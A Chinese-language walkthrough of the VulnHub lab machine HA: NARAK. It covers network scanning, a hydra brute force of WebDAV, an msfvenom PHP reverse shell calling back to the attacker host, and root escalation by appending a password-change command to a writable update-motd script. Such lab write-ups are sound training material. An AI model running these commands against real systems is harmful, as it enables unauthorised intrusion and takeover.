HA NARAK渗透测试

HA: NARAK靶场渗透测试

0x01 环境

• 靶机：HA: NARAK，下载地址：https：//download.vulnhub.com/ha/narak.ova

• 攻击机：kali2023.4
• 环境：VMware
• 网络：NAT

0x02 信息收集

• 查看本机网络信息（攻击机）

┌──(kali㉿kali)-[~]
└─$ ifconfig            
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.48.130  netmask 255.255.255.0  broadcast 192.168.48.255
        inet6 fe80::f2d9:5916:50bf:76a9  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:95:c9:f6  txqueuelen 1000  (Ethernet)
        RX packets 18061  bytes 12035305 (11.4 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 15137  bytes 1681658 (1.6 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

• nmap对c段网络进行扫描

nmap 192.168.48.0/24

发现192.168.48.133主机，开放端口：22，80

http服务是开放的，进去看看

• 目录爆破

  dirb http:192.168.48.133
  

获得一个webdav目录，然后需要账号密码登录，于是使用cewl 来生成一个账号和密码的字典

• cewl 爬取网站关键字生成字典

cewl 192.168.48.133 -w narak.txt

0x03 密码爆破

• 使用hydra对webdav的账号密码进行爆破，利用刚刚得到的字典

hydra -L narak.txt -P narak.txt 192.168.48.133 http-get /webdav

获得一对密钥：yamdoot:Swarg

• 使用cadver(继续linux终端的webdav交互客户端)进行登录

cadaver http://192.168.48.133/webdav

• 使用msfvenom生成基于php的反弹shell

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.48.130 lport=5555 -o shell.php

然后用cadaver的put命令上传

• 使用msf中的监听，设置payload lhost lport之后开启监听

然后在网页中打开http://192.168.48.133/webdav/shell.php以执行php

可以看到连接成功

0x04 shell反弹连接获取user.txt

• 链接成功后用下面的命令改善回显

python3 -c 'import pty;pty.spawn("/bin/bash")'

反弹的用户为www用户，在/home/inferno/user.txt中获取到flag1

试图通过命令直接找root.txt没找到

• 使用find命令搜索：从根目录开始搜索任何用户都可以写的文件有哪些

find / -type f -perm -ug=x,o=w 2>/dev/null

找到一个可疑的/mnt/hell.sh

cat hell.sh发现里面的内容是密文，经过了解，这是brainfuck加密方式，并且发现任何用户都可以对update-motd.d下的文件写操作

• brainfuck解码
  

解得一个明文：chitragupt，猜测是某个用户的密码，因为前面的update-motd.d下的文件是需要ssh用户登录之后才会以root权限执行，所以提示应该是一个用户的密码，并且要用ssh登录，后面经过尝试，是inferno的密码

0x05 update-motd.d可写漏洞,提权获取root.txt

登录inferno用户

看一下有什么权限，没什么收货

• 对00-header下手
  

echo 'echo "root:123456" | sudo chpasswd' >>/etc/update-motd.d/00-header
#在00-header文件后面追加写入更改root密码的命令

查看是否追加成功，有2行是因为之前有测试过一次

update-motd介绍：就是说任何用户ssh登录时，都会以root权限执行欢迎脚本

• 重新ssh登录，以执行藏在欢迎脚本中的更改密码脚本

su root并用123456密码登录成功，提权成功

• 获取flag2:root.txt